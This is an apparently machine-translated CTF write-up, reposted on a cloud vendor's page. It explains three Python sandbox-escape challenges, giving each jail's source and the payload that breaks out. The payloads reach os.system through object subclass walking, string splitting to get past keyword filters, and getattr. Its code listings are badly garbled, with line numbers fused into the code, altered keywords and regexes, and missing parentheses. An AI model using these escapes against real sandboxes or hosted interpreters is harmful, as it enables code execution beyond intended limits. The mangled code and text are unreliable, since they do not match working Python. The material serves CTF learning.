Python Sandbox escape Summary

Source: Internet
Author: User


 
Last weekend, the Association of students to Tianjin exchange, Tianjin University students told a python sandbox escape case. Write a summary of what you've learned and how you played today.

 

Case 1

 
This is a question for HACKUCTF 2012.

  1. def make_secure (): 2. UNSAFE = [' Open ', 3.                ' File ', 4.                ' ExecFile ', 5.                ' Compile ', 6.                ' Reload ', 7.                ' __import__ ', 8.                ' Eval ', 9.     ' Input '] 10.         for Func in Unsafe:11.   Del __builtins__.__dict__[func] 12.   From re import findall 14. # Remove Dangerous Builtins 16.   Make_secure () 17.  print ' Go Ahead, expoit me >;D '     . While true:20.         Try:21.         Print ">>>", 22.         # Read user input until the first whitespace character 23.         INP = FindAll (' \s+ ', Raw_input ()) [0] 24.         A = None 25.         # Set A to the result from executing the user input 26.         exec ' a= ' + INP 27.     print ' >>> ', a 28.         Except Exception, e:29. print ' Exception: ', e  

Here is the effect of the script running.
 

 
The effect is equivalent to the Python command interface, and our goal is to read the flag file in the current directory.
If the topic does not have any filtering, read the command below, import the OS package, and then execute the command directly.
 

 
But importing the OS directly will cause errors, such as
 

 
Because the del command deletes the corresponding command, such as
 

 
After seeing Ned Batchelder's share, he learned a new knowledge. We can use the file object read files
Here are the meta-class and meta-type details, tuples, sub-objects
 

 
Since file is in index 40, we can hard code. Such as
 

 
The flag file is read with the file type.
 

 

Case 2
1.  #!/usr/bin/env python   2.  from __future__ import print_function  3.     4.  print("Welcome to my Python sandbox! Enter commands below!")  5.     6.  banned = [    7.      "import",  8.      "exec",  9.      "eval",  10.     "pickle",  11.     "os",  12.     "subprocess",  13.     "kevin sucks",  14.     "input",  15.     "banned",  16.     "cry sum more",  17.     "sys"  18. ]  19.    20. targets = __builtins__.__dict__.keys()    21. targets.remove(‘raw_input‘)    22. targets.remove(‘print‘)    23. for x in targets:    24.     del __builtins__.__dict__[x]  25.    26. while 1:    27.     print(">>>", end=‘ ‘)  28.     data = raw_input()  29.    30.     for no in banned:  31.         if no.lower() in data.lower():  32.             print("No bueno")  33.             break  34.     else: # this means nobreak  35.         exec data  

With respect to the first question, the second question is no direct echo.
We can use the Catch_warnings class (indexed at 59) for command execution.

1.  ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache‘].__dict__[‘o‘+‘s‘].__dict__[‘sy‘+‘stem‘](‘ls‘)

 

 

Case 3
1. #-*-coding:utf-8-*-2.  3. #!/usr/bin/python3 4.    Import sys, CMD, OS 5.  6. del __builtins__.__dict__[' __import__ '] 7.    Del __builtins__.__dict__[' eval '] 8. 9. Intro = "" "10. Pwnhub cuit 11. PWN everything 12.     Rules:13.     -no Import 14. -no ...  -no Flag 16.   17. "" "18.        def execute (command): 20.   EXEC (command, Globals ()) 21. Class Jail (cmd.     CMD): 23.     prompt = ' >>> ' 24. filtered = ' \ ' |.| input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|  Translate|try|except|with|content|frame|back '. Split (' | ')     25.26.         def do_eof (self, line): 27.   Sys.exit () 28.         def emptyline (self): 30. return CMD.   Cmd.emptyline (self) 31.         def default (self, line): 33.   Sys.stdout.write (' \x00 ') 34.         def postcmd (self, Stop, line): 36.             If any (f-in line for F in self.filtered): 37. Print ("You are a big hacker!!!")         39. Print ("Go away").            Else:40.                 Try:41.            Execute (line) 42.                 Except nameerror:43.            Print ("Nameerror:name '%s ' is not defined"% line) 44.                 Except Exception:45.         Print ("Error:%s"% line) 46. return CMD.   Cmd.postcmd (self, stop, line) 47.     if __name__ = = "__main__": 49.         Try:50.     Jail (). Cmdloop (Intro) 51.         Except keyboardinterrupt:52.   Print ("\rsee you next time!")

This is cuit2017 's problem, python3 environment.
The main filter here is a large number of characters, including the number of points used in the question.

1.  print(getattr(os, "system")  

Gets the system function address,

1.  print(getattr(os, "system")("ls"))  

Execute system ("LS")
Here's the gesture to get flag.
 

 
The above is the use of Python as a scripting language features to escape, but there is a deep-rooted C source-based escape, simple point is to use the C program to implement the vulnerability, similar to PWN. Finally, a reference link is also provided, and the exchange of learning is welcome.
 
Reference links
Http://bobao.360.cn/learning/detail/3542.html
Http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
Http://bobao.360.cn/learning/detail/4059.html

Python Sandbox escape Summary

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.